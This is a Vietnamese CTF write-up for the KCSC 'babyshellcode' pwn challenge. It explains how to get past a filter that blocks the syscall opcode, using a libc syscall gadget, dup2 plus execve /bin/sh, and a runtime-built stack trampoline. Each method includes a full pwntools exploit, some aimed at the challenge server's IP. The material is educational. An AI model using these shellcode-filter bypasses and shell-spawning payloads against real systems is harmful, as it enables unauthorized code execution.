---
# System prepended metadata

title: babyshellcode

---

## baby shell code

![image](https://hackmd.io/_uploads/rJ4En8RzZe.png)

```c
int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int16 v4; // [rsp+Eh] [rbp-12h]
  int i; // [rsp+10h] [rbp-10h]
  int v6; // [rsp+14h] [rbp-Ch]

  setup(argc, argv, envp);
  printf("Your shellcode: ");
  v6 = read(0, shellcode, 4096uLL);
  if ( v6 <= 0 )
  {
    perror("Read failed !!!");
    exit(-1);
  }
  if ( mprotect(shellcode, 4096uLL, 5) )
  {
    perror("Mprotect failed !!!");
    exit(-1);
  }
  close(0);
  for ( i = 0; i < v6 - 1; ++i )
  {
    v4 = *(_WORD *)((char *)shellcode + i);
    if ( v4 == 0x50F || v4 == 0x340F || v4 == (__int16)0x80CD )
    {
      puts("Found forbidden bytes !!!");
      exit(1);
    }
  }
  ((void (*)(void))shellcode)();
  return 0;
}
```

Chương trình cho nhập vào 1 shellcode `4096` bytes -> sau đó chạy `mprotect` set quyền cho vùng shellcode:

```c
5 là bitmask quyền truy cập:

PROT_READ = 1

PROT_WRITE = 2

PROT_EXEC = 4
=> 5 = 1 + 4 = PROT_READ | PROT_EXEC
```

=> Có quyền read + exec

Tiếp theo đóng `close(0);` tức ``[fd = 0] - stdin`` để chặn input từ client.

Tiếp theo đó chạy loop duyệt 2 bytes để kiếm tra chặn các opcode của:

```c
0x050F ↔ bytes 0f 05 = syscall

0x340F ↔ bytes 0f 34 = sysenter

0x80CD ↔ bytes cd 80 = int 0x80
```

-> Nếu thỏa thì:

```c
((void (*)(void))shellcode)();
```

Ép con trỏ shellcode thành hàm void func(void) rồi gọi.

CPU bắt đầu thực thi từ đầu shellcode (với quyền RX đã set).

-> Ta có thể thấy đây là dạng bài viết shellcode để exploit vì nó mặc định jmp vào pointer trỏ vào shell code cho ta rồi.

---

### Dùng syscall trong libc -> orw

Việc khó khắn nhất ở trong chall này đó là nó đã cấm syscall opcode, lệnh ngắt int 0x80 và sysenter (fast system call instruction).

![image](https://hackmd.io/_uploads/BkNTs6pMbx.png)

![image](https://hackmd.io/_uploads/BkQbhaTMbl.png)

ở đây ta dùng offset để đặt break point lúc ép thành func void và jump vào pointer:

![image](https://hackmd.io/_uploads/H1dV2aTz-x.png)

Mặc dù không thể dùng syscall nhưng ta có thể tận dụng syscall có sẵn trong libc.

Note:

```c
                +------------------------------+
    PIE_BASE -> |   Binary PIE (vuln)          |
                |  .text   (main, ...)         |
    r13 anchor->|   0x...2347 (endbr64)        |
                |                              |
                |  .got/.got.plt               |
   setvbuf@GOT->|   0x...4fb8  --> 0x7f...55f0 |  (con trỏ ra libc)
                +------------------------------+

                +------------------------------+
    LIBC_BASE-> |   libc.so.6                  |
                |  setvbuf @ (base + off)      |
    leak value->|   0x7f...55f0                |
                |  system  @ (base + off)      |
                |  gadgets @ (base + off)      |
                +------------------------------+
```

Khi bắt đầu jump vào shellcode, ta tinh ý sẽ thấy là thanh ghi r13 đang chứa địa chỉ của main.

![image](https://hackmd.io/_uploads/BkSvmdRM-x.png)

Lúc này ta có thể lợi dụng shell code để leak được địa chỉ libc thông qua got của các hàm `setvbuf`,...

Có thể thấy địa chỉ got là: `0x564a1bfd4fb8`

![image](https://hackmd.io/_uploads/BJLrQ_Rf-l.png)

-> Lúc này dễ dàng tính được offset là `0x2c71`

![image](https://hackmd.io/_uploads/SyAA7dCfWl.png)

Và địa chỉ nó resolve trong libc (cơ chế got/plt) chính là `0x7f5562d4d5f0` và ta phải dùng dereference vào địa chỉ mà got trỏ tới hàm trong libc.

Từ đó ta tính offset để tính ra libc base address:

![image](https://hackmd.io/_uploads/Hysmn9Afbg.png)

![image](https://hackmd.io/_uploads/rygzpqRG-g.png)

Ta thấy phân vùng libc được load vào lúc này với libc base address là `0x7f5562ccc000`

![image](https://hackmd.io/_uploads/S1itgjRMZe.png)

Ta tính toán toán được offset là `0x815f0` do đó cần phải trừ đi khoảng offset tại thanh ghi rax để nó chứa giá trị là địa chỉ của libc_base.

Tiếp sau đó là ta cần tìm được offset để đến gadget syscall nằm trong libc:

`0x0000000000029db4 : syscall` -> lệnh asm là `add rax, 0x29db4` và vì rax dùng để tính toán cho nên ta sẽ mov nó vào rbx để không bị thay đổi trong quá trình thực thi.

Tuy nhiên nếu dùng gadget này sẽ không được -> nguyên nhân do ta call syscall -> thì nó sẽ push saved rip vào stack là địa chỉ lệnh tiếp theo ở dưới syscall -> sau đó nó nhảy vào syscall kia, tuy nhiên nó lại không có ret để pop rip và nhảy ngược lại nên ta không control được flow nữa. Do đó ta sẽ phải tìm một gadget có `syscall, ret`:

![image](https://hackmd.io/_uploads/Hyk6izJXbl.png)

`0x0000000000091316: syscall; ret;` chính là nó với offset `0x91316`

```c
add r13, 0x2c71
mov rax, [r13]
sub rax, 0x815f0
add rax, 0x91316
mov rbx, rax
```

Việc khó nhất đã hoàn thành, tiếp theo ta chỉ cần gọi syscall orw là được (vì stdin bị tắt - đương nhiên ta vẫn có cách khác để tạo shell ta sẽ tìm hiểu ở phía dưới sau):

![image](https://hackmd.io/_uploads/SyhMgZyQWe.png)

Ta chỉ cần control thanh ghi `RAX	ARG0 (rdi)	ARG1 (rsi)	ARG2 (rdx)` ở đây đối số rsi và rdx ta để null cũng được, còn rax sẽ là 2, rdi là tên file `flag.txt`.

```c
mov rax, 0
push rax
mov rax, 0x7478742e67616c66
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x2
call rbx
```

Sau khi open -> thì mặc định khi mở thì nó tạo một file có thể xem là symlink trong /proc/self/fd/.. -> và ở syscall open trên thì nó mở thành công sẽ gán `rax = file descriptor (fd)`

Tương tự `RAX	ARG0 (rdi)	ARG1 (rsi)	ARG2 (rdx)`: rax = 0, rdi sẽ là fd trên, còn arg1(rsi) sẽ là địa chỉ mà nội dung của file flag.txt được đọc sẽ ghi đè lên stack mà rsi trỏ đến, ở đây ta ghi lên rsp luôn vì stack lúc này có rsp đang trỏ đến chuỗi `0x7478742e67616c66` và tiếp theo là byte null ở đoạn push rax ở trên, còn arg2 rdx sẽ là số byte ta đọc ở đây flag.txt test là `KCSC{test}` nên ta để tạm là 0xa.

```c
mov rdi, rax
lea rsi, [rsp]
mov rdx, 0xa
mov rax, 0
call rbx
```

![image](https://hackmd.io/_uploads/rJP9PZy7bl.png)

Cuối cùng là cho write:

```c
mov rdi, 1
lea rsi, [rsp]
mov rdx, 0xa
mov rax, 1
call rbx
```

tương tự như trên thôi

Exploit:

```python
#!/home/l3mnt2010/new/env/bin/python3

from pwn import *
import struct
import os
import sys
import subprocess

exe = ELF("./vuln", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-2.35.so", checksec=False)
context.log_level = 'debug'

context.binary = exe
context.arch = 'amd64'
context.bits = 64
# context.arch = 'i386'
# context.bits = 32

if not os.environ.get('TMUX'):
    tmux_conf = os.path.expanduser('~/.tmux.conf')
    # with open(tmux_conf, 'a+') as f:
    #     f.seek(0)
    #     if 'set -g mouse on' not in f.read():
    #         f.write('set -g mouse on')
    os.execvp('tmux', ['tmux', 'new-session', sys.executable, os.path.abspath(__file__)] + sys.argv[1:])

# context.terminal = ['tmux', 'splitw', '-h', '-b', '-p', '70']
context.terminal = ['tmux', 'new-window'] 

info = lambda msg: log.info(msg)
s = lambda data: p.send(data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
sla = lambda msg, data: p.sendlineafter(msg, data)
sn = lambda num: p.send(str(num).encode())
sna = lambda msg, num: p.sendafter(msg, str(num).encode())
sln = lambda num: p.sendline(str(num).encode())
slna = lambda msg, num: p.sendlineafter(msg, str(num).encode())

def GDB():
    gdb.attach(p, gdbscript='''
        b* main+296
        c
    ''')

# p = remote("67.223.119.69", 5023)
p = process([exe.path])

GDB()

shellcode = asm(
    """     
    add r13, 0x2c71
    mov rax, [r13]
    sub rax, 0x815f0
    add rax, 0x91316
    mov rbx, rax
    
    mov rax, 0
    push rax
    mov rax, 0x7478742e67616c66
    push rax
    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    mov rax, 0x2
    call rbx
    
    mov rdi, rax
    lea rsi, [rsp]
    mov rdx, 0xa
    mov rax, 0
    call rbx
    
    mov rdi, 1
    lea rsi, [rsp]
    mov rdx, 0xa
    mov rax, 1
    call rbx
""", arch = 'amd64'
)

sla(b'Your shellcode: ', shellcode)

p.interactive()
```

![image](https://hackmd.io/_uploads/B1lKyQ17bg.png)

![image](https://hackmd.io/_uploads/rJlzxXJQWe.png)

Tại đây ta có thể thấy syscall đã được gắn vào thanh ghi rbx

![image](https://hackmd.io/_uploads/S1AVxQ1QWe.png)

-> syscall được gọi -> owr flag.

Exploit trên server ta tăng số byte ghi và đọc lên là được:

![image](https://hackmd.io/_uploads/rJf6eQ1Qbx.png)

flag: `KCSC{x3cu74bl3_574ck_15_3x7r3m3ly_d4n63r0u5}`

![image](https://hackmd.io/_uploads/r1aizXymWg.png)


---

Ngoài cách trên thì mình có tham khảo được:


### Dùng dup2 -> execve /bin/sh

`CMD ["socat", "TCP-LISTEN:1337,reuseaddr,fork", "EXEC:/home/ctf/vuln,stderr"]`

Trên dockerfile ta dễ dàng thấy được trên server dùng socat để listen TCP, ta có thể hiểu như sau:

- Socket = cái ống nối giữa máy bạn và chương trình trên server

- socat sẽ:

1. tạo cái ống (socket)

2. rồi cắm nó vào chương trình vuln

- Tức là:

1. Chương trình đọc → đọc từ pipe

2. Chương trình in → in ra pipe

Lệnh close(0) tức nó đóng trình đọc từ pipe:

Lúc này với syscall dup2: dup2 dùng để gán lại stdin/stdout/stderr (hoặc FD bất kỳ) sang một nguồn/đích khác (ở đây ta dùng chung của stdout), để chương trình chạy sau tự động dùng đúng I/O -> từ đó ta vẫn truyền được execve với sh. Và rax set là 0x21.

Để gọi được syscall này ta vẫn phải quay trở lại giải quyết vấn đề như trên là tìm gadget syscall sau đó lưu vào rbx or thanh ghi khác ít thay đổi.

![image](https://hackmd.io/_uploads/SJAMHUeQWg.png)

![image](https://hackmd.io/_uploads/Hyo4LIe7-g.png)

![image](https://hackmd.io/_uploads/SJzUU8emZe.png)

Thực ra thì dùng như cách ở để để lấy syscall cũng được -> vì bài này cho tùy chỉnh asm mà.

Vẫn đăng break point khi chuẩn bị jump vào shellcode, thay vì dùng thanh ghi r13 ở trên -> thì ta để ý thanh ghi rcx có giá trị là `0x7f07078e4fd7` và nó nằm trong libc luôn -> không cần phải leak thông qua got như ở trên nữa

![image](https://hackmd.io/_uploads/HyGGKIeQWl.png)

![image](https://hackmd.io/_uploads/B1S4KUemZe.png)

Lúc này ta sub rcx đi `0x114fd7` là được libc_base -> sau đó cộng với offset syscall như trên là được:

```python
#!/home/l3mnt2010/new/env/bin/python3

from pwn import *
import struct
import os
import sys
import subprocess

exe = ELF("./vuln", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-2.35.so", checksec=False)
context.log_level = 'debug'

context.binary = exe
context.arch = 'amd64'
context.bits = 64
# context.arch = 'i386'
# context.bits = 32

if not os.environ.get('TMUX'):
    tmux_conf = os.path.expanduser('~/.tmux.conf')
    # with open(tmux_conf, 'a+') as f:
    #     f.seek(0)
    #     if 'set -g mouse on' not in f.read():
    #         f.write('set -g mouse on')
    os.execvp('tmux', ['tmux', 'new-session', sys.executable, os.path.abspath(__file__)] + sys.argv[1:])

# context.terminal = ['tmux', 'splitw', '-h', '-b', '-p', '70']
context.terminal = ['tmux', 'new-window'] 

info = lambda msg: log.info(msg)
s = lambda data: p.send(data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
sla = lambda msg, data: p.sendlineafter(msg, data)
sn = lambda num: p.send(str(num).encode())
sna = lambda msg, num: p.sendafter(msg, str(num).encode())
sln = lambda num: p.sendline(str(num).encode())
slna = lambda msg, num: p.sendlineafter(msg, str(num).encode())

def GDB():
    gdb.attach(p, gdbscript='''
        b* main+296
        c
    ''')

p = remote("67.223.119.69", 5023)
# p = process([exe.path])

# GDB()

shellcode = asm(
    """     
    mov rax, rcx
    sub rax, 0x114fd7
    add rax, 0x91316
    mov rbx, rax
    
    mov rax, 0x21
    mov edi, 1
    mov esi, 0
    call rbx
    
    mov rax, 0x3b
    mov rdi, 29400045130965551
    push 0 
    push rdi
    xor esi, esi
    xor edx, edx
    mov rdi, rsp
    call rbx
    
""", arch = 'amd64'
)

sla(b'Your shellcode: ', shellcode)

p.interactive()
```

![image](https://hackmd.io/_uploads/SyRn0UgQ-g.png)

![image](https://hackmd.io/_uploads/ryf9gPxm-l.png)

### Dùng Stack Trampoline / Syscall Trampoline

- Cách này mình tham khảo được của một bạn viết khá hay.

![image](https://hackmd.io/_uploads/S1XnfvlQZx.png)

Ta để ý checksecurity:

```c
(env) l3mnt2010@ASUSEXPERTBOOK:~/new/JHTpwner/kcsc2025/public$ gdb -q vuln
pwndbg: loaded 215 pwndbg commands. Type pwndbg [filter] for a list.
pwndbg: created 13 GDB functions (can be used with print/break). Type help function to see them.
Reading symbols from vuln...
(No debugging symbols found in vuln)
pwndbg> checksec
File:     /home/l3mnt2010/new/JHTpwner/kcsc2025/public/vuln
Arch:     amd64
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX unknown - GNU_STACK missing
PIE:        PIE enabled
Stack:      Executable
RWX:        Has RWX segments
RPATH:      b'$ORIGIN'
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No
pwndbg>
```

ở đây ta có thể thấy full giáp được bật(cũng không quan trọng với bài này lắm), tuy nhiên stack lại thực thi được: `Stack: Executable` -> do đó ta hoàn toàn có thể ghi shellcode vào stack và nhảy vào thực thi ở đó luôn.

- Cấm byte 0f 05 → không được viết trực tiếp instruction syscall
- Nhưng không cấm ret (c3)

```c
v4 = *(_WORD *)((char *)shellcode + i);
if ( v4 == 0x50F || v4 == 0x340F || v4 == 0x80CD )
    exit(1);
```

code chỉ check trước lúc run shellcode thôi, lúc run nó ta sẽ lợi dụng để tạo instruction syscall, ret dynamic vào trong stack.

```c
mov rbx, 0xC3050E
inc rbx             
push rbx            
mov rbx, rsp        
```

Nó check 2 byte 1 cho nên lúc này ta không đẩy được 0F vào -> do đó ta đẩy 0E như trên (để bypass được code check) theo little endian -> sau đó inc lên thì nó thành `0xC3050F` và intruction này là syscall;ret -> ta push vào stack sau đó gán value là addr của đỉnh stack là được -> syscall đã có có thể quay về ý tưởng như 2 cách trên thôi. Vì dynamic nên ta có khá nhiều cách để control được.

![image](https://hackmd.io/_uploads/r1q_uPeQWe.png)

![image](https://hackmd.io/_uploads/Sy4jOvgQbl.png)

![image](https://hackmd.io/_uploads/Bk0auwl7Wl.png)

poc:

```python
#!/home/l3mnt2010/new/env/bin/python3

from pwn import *
import struct
import os
import sys
import subprocess

exe = ELF("./vuln", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-2.35.so", checksec=False)
context.log_level = 'debug'

context.binary = exe
context.arch = 'amd64'
context.bits = 64
# context.arch = 'i386'
# context.bits = 32

if not os.environ.get('TMUX'):
    tmux_conf = os.path.expanduser('~/.tmux.conf')
    # with open(tmux_conf, 'a+') as f:
    #     f.seek(0)
    #     if 'set -g mouse on' not in f.read():
    #         f.write('set -g mouse on')
    os.execvp('tmux', ['tmux', 'new-session', sys.executable, os.path.abspath(__file__)] + sys.argv[1:])

# context.terminal = ['tmux', 'splitw', '-h', '-b', '-p', '70']
context.terminal = ['tmux', 'new-window'] 

info = lambda msg: log.info(msg)
s = lambda data: p.send(data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
sla = lambda msg, data: p.sendlineafter(msg, data)
sn = lambda num: p.send(str(num).encode())
sna = lambda msg, num: p.sendafter(msg, str(num).encode())
sln = lambda num: p.sendline(str(num).encode())
slna = lambda msg, num: p.sendlineafter(msg, str(num).encode())

def GDB():
    gdb.attach(p, gdbscript='''
        b* main+296
        c
    ''')

p = remote("67.223.119.69", 5023)
# p = process([exe.path])

# GDB()

shellcode = asm(
    """     
    mov rbx, 0xC3050E
    inc rbx             
    push rbx            
    mov rbx, rsp     
    
    mov rax, 0x21
    mov edi, 1
    mov esi, 0
    call rbx
    
    mov rax, 0x3b
    mov rdi, 29400045130965551
    push 0 
    push rdi
    xor esi, esi
    xor edx, edx
    mov rdi, rsp
    call rbx
    
""", arch = 'amd64'
)

sla(b'Your shellcode: ', shellcode)

p.interactive()
```

![image](https://hackmd.io/_uploads/HJ6kYPgm-l.png)

thanks for watching


